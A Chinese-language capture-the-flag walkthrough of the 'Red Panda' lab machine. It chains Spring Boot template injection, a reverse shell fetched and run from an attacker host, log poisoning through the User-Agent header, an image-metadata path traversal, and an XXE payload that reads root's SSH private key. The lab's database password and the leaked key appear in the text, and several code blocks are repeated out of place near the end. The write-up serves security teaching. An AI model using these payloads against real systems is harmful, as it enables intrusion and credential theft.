摘要

Red Panda是一个简单的Linux机器,其内含一个用Java Spring Boot框架开发的搜索引擎网站。

该搜索引擎存在服务端模版注入(Server-Side Template Injection)漏洞,通过该漏洞可以获得woodenk用户的shell。

通过枚举系统进程,可以发现root用户运行了一个定时任务的Java程序。在审计该程序的代码之后,我们可以确认其存在XXE漏洞。通过利用XXE漏洞和定时任务,可以获得root用户的SSH私钥,进而达到提权的目的。

根据root用户的私钥,我们可以SSH以root身份登录,拿到root的flag。

需要的技巧

  • Web枚举
  • Linux基础

学会的技巧

  • 服务端模版注入(Server Side Template Injection)
  • XML实体注入(XML Entity Injection)
  • 代码审计

枚举

Nmap

我们可以运行Nmap来发现远端主机开放的端口

ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.170  grep '^[0-9]'  cut -d '/' -f 1  tr '\n' ','  sed s/,$//)
nmap -p$ports -sV 10.10.11.170

file

从结果中,我们可以看到,SSH服务运行在默认的22端口,HTTP服务则监听在8080端口。

HTTP

浏览8080端口,我们可以看到一个叫做“Red Panda”搜索引擎的页面。

file

当我们通过右键,选择查看源代码选项时,就可以看到该网页的源码,我们可以从title标签中看到“Red Panda Search Made with Spring Boot”,这将帮助我们分析出该网站所用到的技术。Spring Boot是一个基于Java开源的框架,常被用来创建微服务。

file

接下来,让我们做一些随机的搜索,检查一下会有什么样的结果出现。在搜索了s字符之后,输出的结果展示了一些熊猫。

有趣的是,结果里包含了“You searched for:”文本而后面便紧跟了我们查询的内容。这可能存在一个潜在的XSS或SSTI攻击向量,我们将稍后回来。

file

在作者的名字上存在一个超链接,它将引导我们去一个网页,该网页展示了一部分静态内容以及每个图片被观看了多少次。

file

这里同样也有一个链接,可以将该表哥导出为一个XML文件,以下是作者为woodenk的XML文件:

<?xml version="1.0" encoding="UTF-8"?>
    <credits>
        <author>woodenk</author>
        <image>
            <uri>/img/greg.jpg</uri>
            <views>0</views>
        </image>
        <image>
            <uri>/img/hungy.jpg</uri>
            <views>0</views>
        </image>
        <image>
            <uri>/img/smooch.jpg</uri>
            <views>6</views>
        </image>
        <image>
            <uri>/img/smiley.jpg</uri>
            <views>3</views>
        </image>
    <totalviews>9</totalviews>
</credits>

什么是SSTI

Web应用程序通常使用服务器端模板技术(Jinja2、Twig、FreeMaker等)来生成动态HTML响应。

正如OWASP所引用的,服务器端模板注入漏洞(SSTI)发生在用户输入以不安全的方式嵌入模板中并导致远程代码时在服务器上执行。

有关SSTI的更多信息,可以参考此处

现在,我们已经知道该页面使用的是Java Spring Boot,因此,让我们回到搜索引擎尝试对其进行一些服务器端模板注入攻击。

Java框架的一些潜在SSTI Payload可以在这里找到。

${8*8}
#{8*8}
*{8*8}

当我们尝试前两个Pyload时会返回一个空白页面,并显示文本:Error occurred: banned characters .而第三个Payload*{8*8}则返回了64。

file

这表明了该网站存在SSTI漏洞。

初始自足点(Initial Foothold)

我们已经验证了该网站存在SSTI漏洞,因此,我们可以尝试通过以下SSTI的payload来执行id命令,更多针对Spring Boot框架的Payload可以参考这里

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

file

该命令成功被执行了,这也再次确认了我们可以对其进行远程代码执行。

接下里,让我们继续尝试通过以下代码通过bash来获得一个反弹shell,更多内容可以参考这里

bash -i >& /dev/tcp/<YOUR_LOCAL_IP>/1337 0>&1

将上述基于bash的反弹shell代码保存进文件,在当前目录下执行以下命令来通过Python来提供HTTP服务:

python3 -m http.server 8000

在下载和执行反弹shell的payload之前,让我们来运行netcat监听在1377端口,因为反弹shell会连接该端口:

nc -nvlp 1337

接下来,让我们通过curl命令来下载这个反弹shell的文件,并且保存在/tmp目录下,因为系统内的所有用户都可写。我们也需要更新之前的SSTL对应的payload:

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('curl<YOUR_LOCAL_IP>:8000/shell.sh -o /tmp/shell.sh').getInputStream())}

如果我们检查我们本地机器Python服务的日志时,我们可以注意到整个反弹shell的文件被远程主机拿到了,从这可以确认文件已经成功下载了。

file

接下来,我们需要让文件具有可执行权限,可以通过以下包含了chmod +x /tmp/shell.sh命令的payload:

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('chmod +x /tmp/shell.sh').getInputStream())}

最终,我们可以执行反弹shell的文件,通过包含了/bin/bash /tmp/shell.sh命令的payload:

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('/bin/bash /tmp/shell.sh').getInputStream())}

然后,我们便可以获得woodenk用户在1337端口的反弹shell:

file

在枚举文件系统,挖掘配置文件的过程中,我们发现/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java文件里包含了woodenk用户的凭据。

[ ** SNIP ** ]

Class.forName("com.mysql.cj.jdbc.Driver");
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda",
"woodenk", "RedPandazRule");

[ ** SNIP ** ]

让我们以用户woodenk的身份和获得的凭据来登录SSH服务:

ssh woodenk@10.10.11.170

file

用户的flag可以在/home/woodenk/user.txt文件里找到。

提权

我们可以使用pspy工具来检查所有的定时任务,我们可以在本地使用Python的HTTP服务来传输pspy可执行文件,在远程主机用wget来获取该文件:

wget <YOUR_LOCAL_IP>:8000/pspy64

file

我们也需要使这个文件在远程主机上可执行:

chmod +x pspy64

通过以下命令来运行pspy工具:

./pspy

file

在pspy的输出里,我们可以看到一个jar程序以root用户身份每两分钟执行一次.

让我们再来检查及分析一下源码/opt/creditscore/LogParser/final/src/main/java/com/logparser/App.java

public static void main(String[] args) throws JDOMException, IOException,JpegProcessingException {
    File log_fd = new File("/opt/panda_search/redpanda.log");
    Scanner log_reader = new Scanner(log_fd);
    while(log_reader.hasNextLine())
    {
        String line = log_reader.nextLine();
        if(!isImage(line))
        {
            continue;
        }
        Map parsed_data = parseLog(line);
        System.out.println(parsed_data.get("uri"));
        String artist = getArtist(parsed_data.get("uri").toString());
        System.out.println("Artist: " + artist);
        String xmlPath = "/credits/" + artist + "_creds.xml";
        addViewTo(xmlPath, parsed_data.get("uri").toString());
     }
    //Document doc = saxBuilder.build(fd);
     }
}

在上述的代码中,我们可以看到日志文件/opt/panda_search/redpanda.log被按行读取,其内容如下所示:

cat /opt/panda_search/redpanda.log

file

在循环里,日志文件的每一行都被存储在字符串变量line里,接下来会检查是否存在.jpg子串,在if语句中的isImage()方法里:

if(!isImage(line)) {
    continue;
}

isImage()方法携带了一个string类型的参数,当它包含".jpg"子串时返回true:

public static boolean isImage(String filename) {
    if (filename.contains(".jpg"))
        return true;
    return false;
}

如果条件满足,比如字符串中包含了".jpg"子串时,line变量会被传进parseLog()方法。

public static Map parseLog(String line) {
    String[] strings = line.split("\\\\", 4);
    Map map = new HashMap<>();
    map.put("status_code", strings[0]);
    map.put("ip", strings[1]);
    map.put("user_agent", strings[2]);
    map.put("uri", strings[3]);
    return map;
}

parseLog()方法会以作为分隔符,将字符串参数分割为4个不同的部分。

这些被分割为4块的值会根据以下key值[status_code, ip, user_agent, uri]被赋值给map类型的变量。

该方法返回的map会被存储在main函数的parsed_data变量中。

接下来,在map类型变量parsed_data中key为uri的值会被传递进getArtist()函数中:

public static String getArtist(String uri) throws IOException, JpegProcessingException
 {
    String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
    File jpgFile = new File(fullpath);
    Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
    for(Directory dir : metadata.getDirectories())
     {
        for(Tag tag : dir.getTags())
         {
            if(tag.getTagName() == "Artist")
             {
                return tag.getDescription();
             }
         }
     }
    return "N/A";
 }

被传入getArtist()函数的string类型的变量uri决定了图片文件在文件系统里的全路径,该函数会读取图片的元数据(metadata),返回"Artist"的值,其返回值会被存储在main函数的artist变量里。

让我们回到以下代码中:

String xmlPath = "/credits/" + artist + "_creds.xml";

我们可以看到,artist变量的值被连接生成绝对路径,然后赋值给接下里会传递给addViewTo()函数。

我们必须注意到xmlPath变量里的路径最终会以"_creds.xml"结尾。

addViewTo(xmlPath, parsed_data.get("uri").toString());

一旦程序中包含了解析XML文件,我们便需要检查其是否存在XXE(XML External Entity)。

此外,xmlPath变量被确定的方式使其面对代码注入是脆弱的,因为artist变量在没有做任何预防的情况下直接被使用。

String xmlPath = "/credits/" + artist + "_creds.xml";

我们知道,artist变量是从图片文件的元数据的Artist字段中获得的,如果我们修改了图片的元数据并且添加一个恶意的值给Artist字段,我们也许可以修改xmlPath变量中路径的值,使其指向一个我们构造的恶意XML文件。

图片文件的路径是由日志文件决定的,日志文件的内容是根据客户端的请求生成的,所以我们可以尝试构造一个恶意的请求,使得parseLog()函数解析图片文件的路径,该图片文件中的Artist元数据中被修改为恶意的路径。

让我们重现一下parseLog()函数在Python中的结果,以便于验证日志投毒。

我们创建一个以只读方式打开/opt/panda_search/redpanda.log 文件的文件描述符fd,其第一行被存入data变量里。

接下来,我们获得一个list,其值以作为分隔符来分割data字符串:

file

我们回到parseLog()函数里,我们知道在分割了/opt/panda_search/redpanda.log文件之后,其返回的map变量里,key为uri的索引为3。

接下来,我们尝试注入在HTTP头User-Agent中,这会导致注入的值其索引为3,并且会被赋值给map中key为uri的值。

file

躲中了!上述的结果验证了日志文件注入的可能性。

接下来,让我们按照上述的蓝图来验证Java程序对XXE是否脆弱。

首先,我们来用之前从网站上下载的xml文件来构造一个恶意的xml文件,我们将尝试通过XXE的payload来读取root用户的私钥,例如/root/.ssh/id_rsa,其内容如下:

<?xml version="1.0" encoding="UTF-8">
<!DOCTYPE author [<!ENTITY xxe SYSTEM 'file:///root/.ssh/id_rsa'>]>
<credits>
    <author>&xxe;</author>
        <image>
            <uri>/img/greg.jpg</uri>
            <views>0</views>
        </image>
    <image>
        <uri>/img/hungy.jpg</uri>
        <views>0</views>
    </image>
    <image>
        <uri>/img/smooch.jpg</uri>
        <views>1</views>
    </image>
    <image>
        <uri>/img/smiley.jpg</uri>
        <views>1</views>
    </image>
    <totalviews>2</totalviews>
</credits>

接下来,我们通过python http服务上传这个恶意的xml文件到/tmp目录下,将其重命名为hax_creds.xml,我们可以用任意的文件名但必须得以_creds.xml字串结尾正如之前我们分析的xmlPath变量的值。

我们可以通过Python HTTP服务在本机提供这个xml文件,在远程主机通过wget工具来进行下载:

wget <YOUR_LOCAL_IP>:8000/export.xml

然后修改其权限:

chmod 777 export.xml

最后,重命名。

mv export.xml hax_creds.xml

为了让addToView()函数指向这个xml文件,我们还需要修改xmlPath变量,因为它指向了解析后的xml文件的地方。

我们可以使用exiftool工具修改图片中元数据的Artist字段,使得getArtist()函数用我们修改的图片。

exiftool工具,可以被用于查看和修改图片文件的元数据,可以通过以下命令来安装:

git clone https://github.com/exiftool/exiftool.git

让我们下载来自于网站的任意一个图片,看看它的元数据。

wget 10.10.11.170:8080/img/smooch.jpg

我们可以通过-Artist标志来查看Artist字段:

./exiftool -Artist smooch.jpg

file

接下里,我们来修改元数据的Artist字段为../tmp/hax,因为我们需要addViewTo()函数解析到/tmp/hax_creds.xml文件。

./exiftool -Artist='../tmp/hax' smooch.jpg

file

我们也需要将修改了元数据后的图片传输回远程主机,在远程主机上,我们下载该图片到/tmp目录。

cd /tmp
wget <YOUR_LOCAL_IP>:8000/smooch.jpg

现在,如果我们想要使程序解析我们修改后的图片,我们需要在/opt/panda_search/redpanda.log文件中有一条日志。

让我们现在构造一个恶意的请求到远程主机为了使/opt/panda_search/redpanda.log文件创建一个实体,这样它会重定向到getArtist()函数到我们恶意的图片文件,我们可以使用curl加上-A标志来发送一个自定义的User-AgentHTTP头:

curl -A "evil/../../../../../../tmp/smooch.jpg" http://10.10.11.170:8080/

在等待几分钟后,我们可以读取/tmp/hax_creds.xml文件来获得root用户的SSH私钥。

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('curl<YOUR_LOCAL_IP>:8000/shell.sh -o /tmp/shell.sh').getInputStream())}

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('chmod +x /tmp/shell.sh').getInputStream())}

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('/bin/bash /tmp/shell.sh').getInputStream())}

[ ** SNIP ** ]
Class.forName("com.mysql.cj.jdbc.Driver");
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda",
"woodenk", "RedPandazRule");
[ ** SNIP ** ]

public static boolean isImage(String filename) {
    if (filename.contains(".jpg"))
        return true;
    return false;
}

public static Map parseLog(String line) {
    String[] strings = line.split("\\\\", 4);
    Map map = new HashMap<>();
    map.put("status_code", strings[0]);
    map.put("ip", strings[1]);
    map.put("user_agent", strings[2]);
    map.put("uri", strings[3]);
    return map;
}

public static String getArtist(String uri) throws IOException, JpegProcessingException
 {
    String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
    File jpgFile = new File(fullpath);
    Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
    for(Directory dir : metadata.getDirectories())
     {
        for(Tag tag : dir.getTags())
         {
            if(tag.getTagName() == "Artist")
             {
                return tag.getDescription();
             }
         }
     }
    return "N/A";
 }

String xmlPath = "/credits/" + artist + "_creds.xml";

<?xml version="1.0" encoding="UTF-8">
<!DOCTYPE author [<!ENTITY xxe SYSTEM 'file:///root/.ssh/id_rsa'>]>
<credits>
    <author>&xxe;</author>
        <image>
            <uri>/img/greg.jpg</uri>
            <views>0</views>
        </image>
    <image>
        <uri>/img/hungy.jpg</uri>
        <views>0</views>
    </image>
    <image>
        <uri>/img/smooch.jpg</uri>
        <views>1</views>
    </image>
    <image>
        <uri>/img/smiley.jpg</uri>
        <views>1</views>
    </image>
    <totalviews>2</totalviews>
</credits>

woodenk@redpanda:/tmp$ cat hax_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE author>
<credits>
    <author>-----BEGIN OPENSSH PRIVATE KEY-----
    b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
    QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
    ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
    AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
    RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
    -----END OPENSSH PRIVATE KEY-----</author>
    <image>
    <uri>/img/greg.jpg</uri>
    <views>1</views>
    </image>
    <image>
    <uri>/img/hungy.jpg</uri>
    <views>0</views>
    </image>
    <image>
    <uri>/img/smooch.jpg</uri>
    <views>1</views>
    </image>
    <image>
    <uri>/img/smiley.jpg</uri>
    <views>1</views>
    </image>
    <totalviews>3</totalviews>
</credits>

我们可以复制SSH私钥到本机的文件,修改其权限为600,以便于可以被SSH工具使用。

chmod 600 id_rsa

接着,我们可以成功以root身份通过SSH登录。

ssh -i id_rsa root@10.10.11.170

file

root的flag可以在/root/root.txt文件里找到。